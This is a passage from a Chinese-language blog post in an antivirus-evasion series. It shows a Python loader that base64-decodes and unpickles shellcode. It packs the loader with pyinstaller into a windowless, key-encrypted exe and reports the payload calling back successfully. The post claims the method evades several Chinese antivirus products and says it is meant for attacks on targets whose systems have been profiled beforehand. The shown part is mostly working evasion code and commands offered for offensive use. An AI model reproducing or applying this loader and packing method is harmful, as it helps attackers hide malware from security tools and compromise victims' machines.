KZSFlFKULg=='
pickle.loads(base64.b64decode(shellcode))
-w1213

使用 pyinstaller 进行打包成 exe
命令:pyinstaller -F exp.py --noconsole --key 121212

-w1110

可以看到成功上线。

-w1287

PS: 本方法看似简单实用,但在实战过程中由于使用 Pyinstaller 进行打包,依赖 python 环境,即使使用编译参数,将所需模块一并打包进程序,仍然可能会出现某些不兼容问题,限制性较大。

0x04 Reference

Tide 免杀专题:https://github.com/TideSec/BypassAntiVirus
亮哥 yyds!

0x05 总结

  1. 以上实例截至2021年03月18日。
  2. 以上实例均对国内部分 AV 进行测试通过(360/腾讯管家/火绒)。
  3. 本篇文章打算写成一个系列,后面可能更新 C#、go 以及 powershell 等相关文章。
  4. 以上实例均需要对目标进行信息收集,掌握到目标详细信息,包括电脑系统版本、系统环境等,选用适合目标的编译方式,进行攻击。

你可能感兴趣的:(『免杀系列』免杀技术(1))